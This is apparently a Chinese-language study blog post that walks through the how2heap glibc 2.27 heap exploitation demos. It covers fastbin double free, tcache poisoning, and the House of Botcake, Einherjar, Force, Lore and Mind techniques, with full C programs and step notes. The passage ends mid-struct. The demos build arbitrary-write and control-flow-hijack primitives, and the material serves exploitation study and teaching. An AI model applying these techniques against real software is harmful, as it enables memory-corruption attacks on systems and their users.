How2heap Glibc2.27
2022-06-29 09:09:39

Glibc2.27

gcc -g xxx.c -o clo

patchelf --set-interpreter ~/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so --set-rpath ~/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64 clo

fastbin_dup.c

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
	setbuf(stdout, NULL);

	printf("This file demonstrates a simple double-free attack with fastbins.\n");

	printf("Fill up tcache first.\n");
	void *ptrs[8];
	for (int i=0; i<8; i++) {
		ptrs[i] = malloc(8);
	}
	for (int i=0; i<7; i++) {
		free(ptrs[i]);
	}

	printf("Allocating 3 buffers.\n");
	int *a = calloc(1, 8);
	int *b = calloc(1, 8);
	int *c = calloc(1, 8);

	printf("1st calloc(1, 8): %p\n", a);
	printf("2nd calloc(1, 8): %p\n", b);
	printf("3rd calloc(1, 8): %p\n", c);

	printf("Freeing the first one...\n");
	free(a);

	printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
	// free(a);

	printf("So, instead, we'll free %p.\n", b);
	free(b);

	printf("Now, we can free %p again, since it's not the head of the free list.\n", a);
	free(a);

	printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
	a = calloc(1, 8);
	b = calloc(1, 8);
	c = calloc(1, 8);
	printf("1st calloc(1, 8): %p\n", a);
	printf("2nd calloc(1, 8): %p\n", b);
	printf("3rd calloc(1, 8): %p\n", c);

	assert(a == c);
}

首先申请7个chunk释放掉填满tcache,再申请3个chunk

首先释放chunk a,再释放chunk b,再次释放chunk a实现double free

fastbin_dup_consolidate.c

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

void main() {
	// reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8
	puts("This is a powerful technique that bypasses the double free check in tcachebin.");
	printf("Fill up the tcache list to force the fastbin usage...\n");

	void *ptr[7];

	for(int i = 0; i < 7; i++)
		ptr[i] = malloc(0x40);
	for(int i = 0; i < 7; i++)
		free(ptr[i]);

	void* p1 = calloc(1,0x40);

  	free(p1);

  	void* p3 = malloc(0x400);

	assert(p1 == p3);

  	printf("Triggering the double free vulnerability!\n\n");
	free(p1);//fastbin中此时无p1,再次释放实现double free

	void *p4 = malloc(0x400);

	assert(p4 == p3);

	printf("The double free added the chunk referenced by p1 \n");
	printf("to the tcache thus the next similar-size malloc will\n");
	printf("point to p3: p3=%p, p4=%p\n\n",p3, p4);
}

与2.23的区别为需要先将tcache填满

fastbin_dup_into_stack.c

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
	fprintf(stderr, "This file extends on fastbin_dup.c by tricking calloc into\n"
	       "returning a pointer to a controlled location (in this case, the stack).\n");


	fprintf(stderr,"Fill up tcache first.\n");

	void *ptrs[7];

	for (int i=0; i<7; i++) {
		ptrs[i] = malloc(8);
	}
	for (int i=0; i<7; i++) {
		free(ptrs[i]);
	}


	unsigned long long stack_var;

	fprintf(stderr, "The address we want calloc() to return is %p.\n", 8+(char *)&stack_var);

	fprintf(stderr, "Allocating 3 buffers.\n");
	int *a = calloc(1,8);
	int *b = calloc(1,8);
	int *c = calloc(1,8);

	fprintf(stderr, "1st calloc(1,8): %p\n", a);
	fprintf(stderr, "2nd calloc(1,8): %p\n", b);
	fprintf(stderr, "3rd calloc(1,8): %p\n", c);

	fprintf(stderr, "Freeing the first one...\n"); //First call to free will add a reference to the fastbin
	free(a);

	fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);

	fprintf(stderr, "So, instead, we'll free %p.\n", b);
	free(b);

	//Calling free(a) twice renders the program vulnerable to Double Free

	fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
	free(a);  //double free

	fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
		"We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
	unsigned long long *d = calloc(1,8);

	stack_var = 0x20;

	fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
	/*VULNERABILITY*/
	*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
	/*VULNERABILITY*/

	fprintf(stderr, "3rd calloc(1,8): %p, putting the stack address on the free list\n", calloc(1,8));

	void *p = calloc(1,8);

	fprintf(stderr, "4th calloc(1,8): %p\n", p);
	assert(p == 8+(char *)&stack_var);
	// assert((long)__builtin_return_address(0) == *(long *)p);
}

与2.23的区别为需要先将tcache填满

fastbin_reverse_into_tcache.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>

const size_t allocsize = 0x40;

int main(){
  setbuf(stdout, NULL);

  printf(
    "\n"
    "This attack is intended to have a similar effect to the unsorted_bin_attack,\n"
    "except it works with a small allocation size (allocsize <= 0x78).\n"
    "The goal is to set things up so that a call to malloc(allocsize) will write\n"
    "a large unsigned value to the stack.\n\n"
  );

  // Allocate 14 times so that we can free later.
  char* ptrs[14];
  size_t i;
  for (i = 0; i < 14; i++) {
    ptrs[i] = malloc(allocsize);
  }

  printf(
    "First we need to free(allocsize) at least 7 times to fill the tcache.\n"
    "(More than 7 times works fine too.)\n\n"
  );

  // Fill the tcache.
  for (i = 0; i < 7; i++) {
    free(ptrs[i]);
  }

  char* victim = ptrs[7];
  printf(
    "The next pointer that we free is the chunk that we're going to corrupt: %p\n"
    "It doesn't matter if we corrupt it now or later. Because the tcache is\n"
    "already full, it will go in the fastbin.\n\n",
    victim
  );
  free(victim);

  printf(
    "Next we need to free between 1 and 6 more pointers. These will also go\n"
    "in the fastbin. If the stack address that we want to overwrite is not zero\n"
    "then we need to free exactly 6 more pointers, otherwise the attack will\n"
    "cause a segmentation fault. But if the value on the stack is zero then\n"
    "a single free is sufficient.\n\n"
  );

  // Fill the fastbin.
  for (i = 8; i < 14; i++) {
    free(ptrs[i]);
  }

  // Create an array on the stack and initialize it with garbage.
  size_t stack_var[6];
  memset(stack_var, 0xcd, sizeof(stack_var));

  printf(
    "The stack address that we intend to target: %p\n"
    "It's current value is %p\n",
    &stack_var[2],
    (char*)stack_var[2]
  );

  printf(
    "Now we use a vulnerability such as a buffer overflow or a use-after-free\n"
    "to overwrite the next pointer at address %p\n\n",
    victim
  );

  //------------VULNERABILITY-----------

  // Overwrite linked list pointer in victim.
  *(size_t**)victim = &stack_var[0];

  //------------------------------------

  printf(
    "The next step is to malloc(allocsize) 7 times to empty the tcache.\n\n"
  );

  // Empty tcache.
  for (i = 0; i < 7; i++) {
    ptrs[i] = malloc(allocsize);
  }

  printf(
    "Let's just print the contents of our array on the stack now,\n"
    "to show that it hasn't been modified yet.\n\n"
  );

  for (i = 0; i < 6; i++) {
    printf("%p: %p\n", &stack_var[i], (char*)stack_var[i]);
  }

  printf(
    "\n"
    "The next allocation triggers the stack to be overwritten. The tcache\n"
    "is empty, but the fastbin isn't, so the next allocation comes from the\n"
    "fastbin. Also, 7 chunks from the fastbin are used to refill the tcache.\n"
    "Those 7 chunks are copied in reverse order into the tcache, so the stack\n"
    "address that we are targeting ends up being the first chunk in the tcache.\n"
    "It contains a pointer to the next chunk in the list, which is why a heap\n"
    "pointer is written to the stack.\n"
    "\n"
    "Earlier we said that the attack will also work if we free fewer than 6\n"
    "extra pointers to the fastbin, but only if the value on the stack is zero.\n"
    "That's because the value on the stack is treated as a next pointer in the\n"
    "linked list and it will trigger a crash if it isn't a valid pointer or null.\n"
    "\n"
    "The contents of our array on the stack now look like this:\n\n"
  );

  malloc(allocsize);

  for (i = 0; i < 6; i++) {
    printf("%p: %p\n", &stack_var[i], (char*)stack_var[i]);
  }

  char *q = malloc(allocsize);
  printf(
    "\n"
    "Finally, if we malloc one more time then we get the stack address back: %p\n",
    q
  );

  assert(q == (char *)&stack_var[2]);

  return 0;
}

申请14个chunk,释放,前7个进入tcache:

释放chunk7进入fastbin:

释放剩余chunk进入fastbin:

将chunk7的fd指针修改为目标地址:

将tcache中chunk申请出来

此时再申请一个chunk:

_int_malloc从tcache找,没有chunk,从fastbin寻找,找到了匹配的chunk,记录该chunk,等待后续返回==》

发现fastbin后还有chunk,从头指针开始弹出chunk至tcache头指针==》形成倒序

再申请一个chunk就获得目标地址

house_of_botcake.c

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>


int main()
{
    /*
     * This attack should bypass the restriction introduced in
     * https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d
     * If the libc does not include the restriction, you can simply double free the victim and do a
     * simple tcache poisoning
     * And thanks to @anton00b and @subwire for the weird name of this technique */

    // disable buffering so _IO_FILE does not interfere with our heap
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);

    // introduction
    puts("This file demonstrates a powerful tcache poisoning attack by tricking malloc into");
    puts("returning a pointer to an arbitrary location (in this demo, the stack).");
    puts("This attack only relies on double free.\n");

    // prepare the target
    intptr_t stack_var[4];
    puts("The address we want malloc() to return, namely,");
    printf("the target address is %p.\n\n", stack_var);

    // prepare heap layout
    puts("Preparing heap layout");
    puts("Allocating 7 chunks(malloc(0x100)) for us to fill up tcache list later.");
    intptr_t *x[7];
    for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){
        x[i] = malloc(0x100);
    }
    puts("Allocating a chunk for later consolidation");
    intptr_t *prev = malloc(0x100);
    puts("Allocating the victim chunk.");
    intptr_t *a = malloc(0x100);
    printf("malloc(0x100): a=%p.\n", a); 
    puts("Allocating a padding to prevent consolidation.\n");
    malloc(0x10);
    
    // cause chunk overlapping
    puts("Now we are able to cause chunk overlapping");
    puts("Step 1: fill up tcache list");
    for(int i=0; i<7; i++){
        free(x[i]);
    }
    puts("Step 2: free the victim chunk so it will be added to unsorted bin");
    free(a);
    
    puts("Step 3: free the previous chunk and make it consolidate with the victim chunk.");
    free(prev);
    
    puts("Step 4: add the victim chunk to tcache list by taking one out from it and free victim again\n");
    malloc(0x100);
    /*VULNERABILITY*/
    free(a);// a is already freed
    /*VULNERABILITY*/
    
    // simple tcache poisoning
    puts("Launch tcache poisoning");
    puts("Now the victim is contained in a larger freed chunk, we can do a simple tcache poisoning by using overlapped chunk");
    intptr_t *b = malloc(0x120);
    puts("We simply overwrite victim's fwd pointer");
    b[0x120/8-2] = (long)stack_var;
    
    // take target out
    puts("Now we can cash out the target chunk.");
    malloc(0x100);
    intptr_t *c = malloc(0x100);
    printf("The new chunk is at %p\n", c);
    
    // sanity check
    assert(c==stack_var);
    printf("Got control on target/stack!\n\n");
    
    // note
    puts("Note:");
    puts("And the wonderful thing about this exploitation is that: you can free b, victim again and modify the fwd pointer of victim");
    puts("In that case, once you have done this exploitation, you can have many arbitary writes very easily.");

    return 0;
}

申请9个0x110的chunk,申请一个0x20的小chunk,防止合并:

释放前7个chunk至tcache,释放第9个chunk。再释放第8个chunk:

8,9chunk触发合并

申请一个chunk,从tcache中得来:

再次释放第9个chunk:

第9个chunk成功进入tcache,触发了double free

再从unsorted bin中切割一个chunk出来==》该chunk可以控制tcache中的第9个chunk

==》通过刚刚申请的chunk将第9个chunk的fd指针修改为目标栈地址:

再malloc两次即可获得目标地址

house_of_einherjar.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>

/*
   Credit to st4g3r for publishing this technique
   The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc()
   This technique may result in a more powerful primitive than the Poison Null Byte, but it has the additional requirement of a heap leak. 
*/

int main()
{
	setbuf(stdin, NULL);
	setbuf(stdout, NULL);

	printf("Welcome to House of Einherjar!\n");
	printf("Tested in Ubuntu 18.04.4 64bit.\n");
	printf("This technique only works with disabled tcache-option for glibc or with size of b larger than 0x408, see build_glibc.sh for build instructions.\n");
	printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");

	uint8_t* a;
	uint8_t* b;
	uint8_t* d;

	printf("\nWe allocate 0x38 bytes for 'a'\n");
	a = (uint8_t*) malloc(0x38);
	printf("a: %p\n", a);
   
	int real_a_size = malloc_usable_size(a);
	printf("Since we want to overflow 'a', we need the 'real' size of 'a' after rounding: %#x\n", real_a_size);

	// create a fake chunk
	printf("\nWe create a fake chunk wherever we want, in this case we'll create the chunk on the stack\n");
	printf("However, you can also create the chunk in the heap or the bss, as long as you know its address\n");
	printf("We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\n");
	printf("(although we could do the unsafe unlink technique here in some scenarios)\n");

	size_t fake_chunk[6];

	fake_chunk[0] = 0x100; // prev_size is now used and must equal fake_chunk's size to pass P->bk->size == P->prev_size
	fake_chunk[1] = 0x100; // size of the chunk just needs to be small enough to stay in the small bin
	fake_chunk[2] = (size_t) fake_chunk; // fwd
	fake_chunk[3] = (size_t) fake_chunk; // bck
	fake_chunk[4] = (size_t) fake_chunk; //fwd_nextsize
	fake_chunk[5] = (size_t) fake_chunk; //bck_nextsize


	printf("Our fake chunk at %p looks like:\n", fake_chunk);
	printf("prev_size (not used): %#lx\n", fake_chunk[0]);
	printf("size: %#lx\n", fake_chunk[1]);
	printf("fwd: %#lx\n", fake_chunk[2]);
	printf("bck: %#lx\n", fake_chunk[3]);
	printf("fwd_nextsize: %#lx\n", fake_chunk[4]);
	printf("bck_nextsize: %#lx\n", fake_chunk[5]);

	/* In this case it is easier if the chunk size attribute has a least significant byte with
	 * a value of 0x00. The least significant byte of this will be 0x00, because the size of 
	 * the chunk includes the amount requested plus some amount required for the metadata. */
	b = (uint8_t*) malloc(0x4f8);
	int real_b_size = malloc_usable_size(b);

	printf("\nWe allocate 0x4f8 bytes for 'b'.\n");
	printf("b: %p\n", b);

	uint64_t* b_size_ptr = (uint64_t*)(b - 8);
	/* This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit*/

	printf("\nb.size: %#lx\n", *b_size_ptr);
	printf("b.size is: (0x500) | prev_inuse = 0x501\n");
	printf("We overflow 'a' with a single null byte into the metadata of 'b'\n");
	/* VULNERABILITY */
	a[real_a_size] = 0; 
	/* VULNERABILITY */
	printf("b.size: %#lx\n", *b_size_ptr);
	printf("This is easiest if b.size is a multiple of 0x100 so you "
		   "don't change the size of b, only its prev_inuse bit\n");
	printf("If it had been modified, we would need a fake chunk inside "
		   "b where it will try to consolidate the next chunk\n");

	// Write a fake prev_size to the end of a
	printf("\nWe write a fake prev_size to the last %lu bytes of a so that "
		   "it will consolidate with our fake chunk\n", sizeof(size_t));
	size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
	printf("Our fake prev_size will be %p - %p = %#lx\n", b-sizeof(size_t)*2, fake_chunk, fake_size);
	*(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;

	//Change the fake chunk's size to reflect b's new prev_size
	printf("\nModify fake chunk's size to reflect b's new prev_size\n");
	fake_chunk[1] = fake_size;

	// free b and it will consolidate with our fake chunk
	printf("Now we free b and this will consolidate with our fake chunk since b prev_inuse is not set\n");
	free(b);
	printf("Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[1]);

	printf("\nNow we can call malloc() and it will begin in our fake chunk\n");
	d = malloc(0x200);
	printf("Next malloc(0x200) is at %p\n", d);

	assert((long)d == (long)&fake_chunk[2]);
}

申请chunk a

伪造一个chunk,prev size和size均设为0x100,fd,bk,fd_nextsize和bk_nextsize均为本身

申请chunk b

a溢出一个字节使b的inuse变为0

调整b的prev size位为b - fake chunk,为了能让堆块头到达目标地址

再调整fake chunk的size为fake size

通过释放b==》b的inuse为0==》相邻空闲,合并==》检查prev size==》到达fake chunk检查size,符合==》合并

===》最后再与top chunk合并

====》此时再从top chunk中申请即可获得目标地址chunk

注意点:申请的chunk b应该比tcache的范围大,避免释放入tcache

house_of_force.c

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>

char bss_var[] = "This is a string that we want to overwrite.";

int main(int argc , char* argv[])
{
	fprintf(stderr, "\nWelcome to the House of Force\n\n");
	fprintf(stderr, "The idea of House of Force is to overwrite the top chunk and let the malloc return an arbitrary value.\n");
	fprintf(stderr, "The top chunk is a special chunk. Is the last in memory "
		"and is the chunk that will be resized when malloc asks for more space from the os.\n");

	fprintf(stderr, "\nIn the end, we will use this to overwrite a variable at %p.\n", bss_var);
	fprintf(stderr, "Its current value is: %s\n", bss_var);



	fprintf(stderr, "\nLet's allocate the first chunk, taking space from the wilderness.\n");
	intptr_t *p1 = malloc(256);
	fprintf(stderr, "The chunk of 256 bytes has been allocated at %p.\n", p1 - 2);

	fprintf(stderr, "\nNow the heap is composed of two chunks: the one we allocated and the top chunk/wilderness.\n");
	int real_size = malloc_usable_size(p1);
	fprintf(stderr, "Real size (aligned and all that jazz) of our allocated chunk is %ld.\n", real_size + sizeof(long)*2);

	fprintf(stderr, "\nNow let's emulate a vulnerability that can overwrite the header of the Top Chunk\n");

	//----- VULNERABILITY ----
	intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size - sizeof(long));
	fprintf(stderr, "\nThe top chunk starts at %p\n", ptr_top);

	fprintf(stderr, "\nOverwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap.\n");
	fprintf(stderr, "Old size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
	*(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;
	fprintf(stderr, "New size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
	//------------------------

	fprintf(stderr, "\nThe size of the wilderness is now gigantic. We can allocate anything without malloc() calling mmap.\n"
	   "Next, we will allocate a chunk that will get us right up against the desired region (with an integer\n"
	   "overflow) and will then be able to allocate a chunk right over the desired region.\n");

	unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;
	fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,\n"
	   "we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size);
	void *new_ptr = malloc(evil_size);
	fprintf(stderr, "As expected, the new pointer is at the same place as the old top chunk: %p\n", new_ptr - sizeof(long)*2);

	void* ctr_chunk = malloc(100);
	fprintf(stderr, "\nNow, the next chunk we overwrite will point at our target buffer.\n");
	fprintf(stderr, "malloc(100) => %p!\n", ctr_chunk);
	fprintf(stderr, "Now, we can finally overwrite that value:\n");

	fprintf(stderr, "... old string: %s\n", bss_var);
	fprintf(stderr, "... doing strcpy overwrite with \"YEAH!!!\"...\n");
	strcpy(ctr_chunk, "YEAH!!!");
	fprintf(stderr, "... new string: %s\n", bss_var);

	assert(ctr_chunk == bss_var);

}

申请一个chunk==》修改top chunk的size为最大:

再分配一个chunk使top chunk到目标地址

unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;

malloc(evil_size);

再分配一个chunk即可获得bss目标地址

house_of_lore.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>

void jackpot(){ fprintf(stderr, "Nice jump d00d\n"); exit(0); }

int main(int argc, char * argv[]){


  intptr_t* stack_buffer_1[4] = {0};
  intptr_t* stack_buffer_2[3] = {0};
  void* fake_freelist[7][4];

  fprintf(stderr, "\nWelcome to the House of Lore\n");
  fprintf(stderr, "This is a revisited version that bypass also the hardening check introduced by glibc malloc\n");
  fprintf(stderr, "This is tested against Ubuntu 18.04.5 - 64bit - glibc-2.27\n\n");

  fprintf(stderr, "Allocating the victim chunk\n");
  intptr_t *victim = malloc(0x100);
  fprintf(stderr, "Allocated the first small chunk on the heap at %p\n", victim);

  fprintf(stderr, "Allocating dummy chunks for using up tcache later\n");
  void *dummies[7];
  for(int i=0; i<7; i++) dummies[i] = malloc(0x100);

  // victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk
  intptr_t *victim_chunk = victim-2;

  fprintf(stderr, "stack_buffer_1 at %p\n", (void*)stack_buffer_1);
  fprintf(stderr, "stack_buffer_2 at %p\n", (void*)stack_buffer_2);

  fprintf(stderr, "Create a fake free-list on the stack\n");
  for(int i=0; i<6; i++) {
    fake_freelist[i][3] = fake_freelist[i+1];
  }
  fake_freelist[6][3] = NULL;
  fprintf(stderr, "fake free-list at %p\n", fake_freelist);

  fprintf(stderr, "Create a fake chunk on the stack\n");
  fprintf(stderr, "Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted"
         "in second to the last malloc, which putting stack address on smallbin list\n");
  stack_buffer_1[0] = 0;
  stack_buffer_1[1] = 0;
  stack_buffer_1[2] = victim_chunk;

  fprintf(stderr, "Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 "
         "in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake "
         "chunk on stack");
  stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
  stack_buffer_2[2] = (intptr_t*)stack_buffer_1;

  fprintf(stderr, "Set the bck pointer of stack_buffer_2 to the fake free-list in order to prevent crash prevent crash "
          "introduced by smallbin-to-tcache mechanism\n");
  stack_buffer_2[3] = (intptr_t *)fake_freelist[0];
  
  fprintf(stderr, "Allocating another large chunk in order to avoid consolidating the top chunk with"
         "the small one during the free()\n");
  void *p5 = malloc(1000);
  fprintf(stderr, "Allocated the large chunk on the heap at %p\n", p5);


  fprintf(stderr, "Freeing dummy chunk\n");
  for(int i=0; i<7; i++) free(dummies[i]);
  fprintf(stderr, "Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim);
  free((void*)victim);

  fprintf(stderr, "\nIn the unsorted bin the victim's fwd and bk pointers are nil\n");
  fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);
  fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

  fprintf(stderr, "Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\n");
  fprintf(stderr, "This means that the chunk %p will be inserted in front of the SmallBin\n", victim);

  void *p2 = malloc(1200);
  fprintf(stderr, "The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\n", p2);

  fprintf(stderr, "The victim chunk has been sorted and its fwd and bk pointers updated\n");
  fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);
  fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

  //------------VULNERABILITY-----------

  fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");

  victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack

  //------------------------------------
  fprintf(stderr, "Now take all dummies chunk in tcache out\n");
  for(int i=0; i<7; i++) malloc(0x100);


  fprintf(stderr, "Now allocating a chunk with size equal to the first one freed\n");
  fprintf(stderr, "This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\n");

  void *p3 = malloc(0x100);


  fprintf(stderr, "This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\n");
  char *p4 = malloc(0x100);
  fprintf(stderr, "p4 = malloc(0x100)\n");

  fprintf(stderr, "\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\n",
         stack_buffer_2[2]);

  fprintf(stderr, "\np4 is %p and should be on the stack!\n", p4); // this chunk will be allocated on stack
  intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
  
  long offset = (long)__builtin_frame_address(0) - (long)p4;
  memcpy((p4+offset+8), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary

  // sanity check
  assert((long)__builtin_return_address(0) == (long)jackpot);
}

申请8个chunk:data指针存入dummies数组

fake_freelist:

stack_buffer:

申请一个0x3f0大小的chunk

释放7个chunk进入tcache,再释放第一个victim:

申请一个0x4c0的chunk

此时第一个chunk victim进入smallbin:

修改victim的bk指针,指向buffer1

将tcache中的chunk申请出来:

再申请一个chunk,malloc将会从small bin头开始遍历

申请出victim,接下来会将剩下的bin填满tcache:

原本small bin:buffer1->buffer2->freelist1->freelist2->……->freelist7

现在tcache:freelist5->freelist4->……->freelist1->buffer2->buffer1

接下来再申请一个chunk就是栈区的地址

注意点:

small bin并入tcache:与fastbin类似

if (tcache && tc_idx < mp_.tcache_bins)
{
      mchunkptr tc_victim;

      /* While bin not empty and tcache not full, copy chunks over.  */
      while (tcache->counts[tc_idx] < mp_.tcache_count
	     && (tc_victim = last (bin)) != bin)
	{
	  if (tc_victim != 0)
	    {
	      bck = tc_victim->bk;
	      set_inuse_bit_at_offset (tc_victim, nb);
	      if (av != &main_arena)
		set_non_main_arena (tc_victim);
	      bin->bk = bck;
	      bck->fd = bin;

	      tcache_put (tc_victim, tc_idx);
            }
	}
}

house_of_mind_fastbin.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
#include <assert.h>

int main(){

	printf("House of Mind - Fastbin Variant\n");
	puts("==================================");
	printf("The goal of this technique is to create a fake arena\n");
	printf("at an offset of HEAP_MAX_SIZE\n");
	
	printf("Then, we write to the fastbins when the chunk is freed\n");
	printf("This creates a somewhat constrained WRITE-WHERE primitive\n");
	// Values for the allocation information.	
	int HEAP_MAX_SIZE = 0x4000000;
	int MAX_SIZE = (128*1024) - 0x100; // MMap threshold: https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L635

	printf("Find initial location of the heap\n");
	// The target location of our attack and the fake arena to use
	uint8_t* fake_arena = malloc(0x1000); 
	uint8_t* target_loc = fake_arena + 0x30;

	uint8_t* target_chunk = (uint8_t*) fake_arena - 0x10;

	printf("Set 'system_mem' (offset 0x888) for fake arena\n");
	fake_arena[0x888] = 0xFF;
	fake_arena[0x889] = 0xFF; 
	fake_arena[0x88a] = 0xFF; 

	printf("Target Memory Address for overwrite: %p\n", target_loc);
	printf("Must set data at HEAP_MAX_SIZE (0x%x) offset\n", HEAP_MAX_SIZE);

	// Calculate the location of our fake arena
	uint64_t new_arena_value = (((uint64_t) target_chunk) + HEAP_MAX_SIZE) & ~(HEAP_MAX_SIZE - 1);
	uint64_t* fake_heap_info = (uint64_t*) new_arena_value;

	uint64_t* user_mem = malloc(MAX_SIZE);
	printf("Fake Heap Info struct location: %p\n", fake_heap_info);
	printf("Allocate until we reach a MAX_HEAP_SIZE offset\n");	

	while((long long)user_mem < new_arena_value){
		user_mem = malloc(MAX_SIZE);
	}

	// Use this later to trigger craziness
	printf("Create fastbin sized chunk to be victim of attack\n");
	uint64_t* fastbin_chunk = malloc(0x50); // Size of 0x60
	uint64_t* chunk_ptr = fastbin_chunk - 2; // Point to chunk instead of mem
	printf("Fastbin Chunk to overwrite: %p\n", fastbin_chunk);

	printf("Fill up the TCache so that the fastbin will be used\n");
	// Fill the tcache to make the fastbin to be used later. 
	uint64_t* tcache_chunks[7];
	for(int i = 0; i < 7; i++){
		tcache_chunks[i] = malloc(0x50);
	}	
	for(int i = 0; i < 7; i++){
		free(tcache_chunks[i]);
	}

	printf("Setting 'ar_ptr' (our fake arena)  in heap_info struct to %p\n", fake_arena);
	fake_heap_info[0] = (uint64_t) fake_arena; // Setting the fake ar_ptr (arena)
	printf("Target Write at %p prior to exploitation: 0x%x\n", target_loc, *(target_loc));

	printf("Set non-main arena bit on the fastbin chunk\n");
	puts("NOTE: This keeps the next chunk size valid because the actual chunk size was never changed\n");
	chunk_ptr[1] = 0x60 | 0x4; // Setting the non-main arena bit

	printf("When we free the fastbin chunk with the non-main arena bit\n");
	printf("set, it will cause our fake 'heap_info' struct to be used.\n");
	printf("This will dereference our fake arena location and write\n");
	printf("the address of the heap to an offset of the arena pointer.\n");

	printf("Trigger the magic by freeing the chunk!\n");
	free(fastbin_chunk); // Trigger the madness

	// For this particular fastbin chunk size, the offset is 0x28. 
	printf("Target Write at %p: 0x%llx\n", target_loc, *((unsigned long long*) (target_loc)));
	assert(*((unsigned long *) (target_loc)) != 0);
}

分配一个0x1010的fake_arena:

fake_arena+0x30作为改写地址

Glibc2.27 arena结构体:

struct malloc_state
{
  /* Serialize access.  */
  __libc_lock_define (, mutex);

  /* Flags (formerly in max_fast).  */
  int flags;

  /* Set if the fastbin chunks contain recently inserted free blocks.  */
  /* Note this is a bool but not all targets support atomics on booleans.  */
  int have_fastchunks;

  /* Fastbins */
  mfastbinptr fastbinsY[NFASTBINS];

  /* Base of the topmost chunk -- not otherwise kept in a bin */
  mchunkptr top;

  /* The remainder from the most recent split of a small request */
  mchunkptr last_remainder;

  /* Normal bins packed as described above */
  mchunkptr bins[NBINS * 2 - 2];

  /* Bitmap of bins */
  unsigned int binmap[BINMAPSIZE];

  /* Linked list */
  struct malloc_state *next;

  /* Linked list for free arenas.  Access to this field is serialized
     by free_list_lock in arena.c.  */
  struct malloc_state *next_free;

  /* Number of threads attached to this arena.  0 if the arena is on
     the free list.  Access to this field is serialized by
     free_list_lock in arena.c.  */
  INTERNAL_SIZE_T attached_threads;

  /* Memory allocated from the system in this arena.  */
  INTERNAL_SIZE_T system_mem;
  INTERNAL_SIZE_T max_system_mem;
};

与2.23区别:

多了一个have_fastchunks成员变量

===》设置system_mem为0xFFFFFF:

该标志用于表示这个arena管理的空间大小

用于malloc的检查:

//该检查用于分配unsorted bin和large bin前进行,表明请求的内存不饿能大于system_mem
if (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0)
              || __builtin_expect (chunksize_nomask (victim)
				   > av->system_mem, 0))
            malloc_printerr ("malloc(): memory corruption");

==》继续申请0x4000000的chunk

再继续分配0x1ff00的chunk(该大小小于mmap申请的范围,不触发mmap)

再申请一个0x60的chunk:

再申请7个chunk用于填充tcache:

==》接下来就是修改fake_heap_info:

typedef struct _heap_info
{
  mstate ar_ptr; /* Arena for this heap. */
  struct _heap_info *prev; /* Previous heap. */
  size_t size;   /* Current size in bytes. */
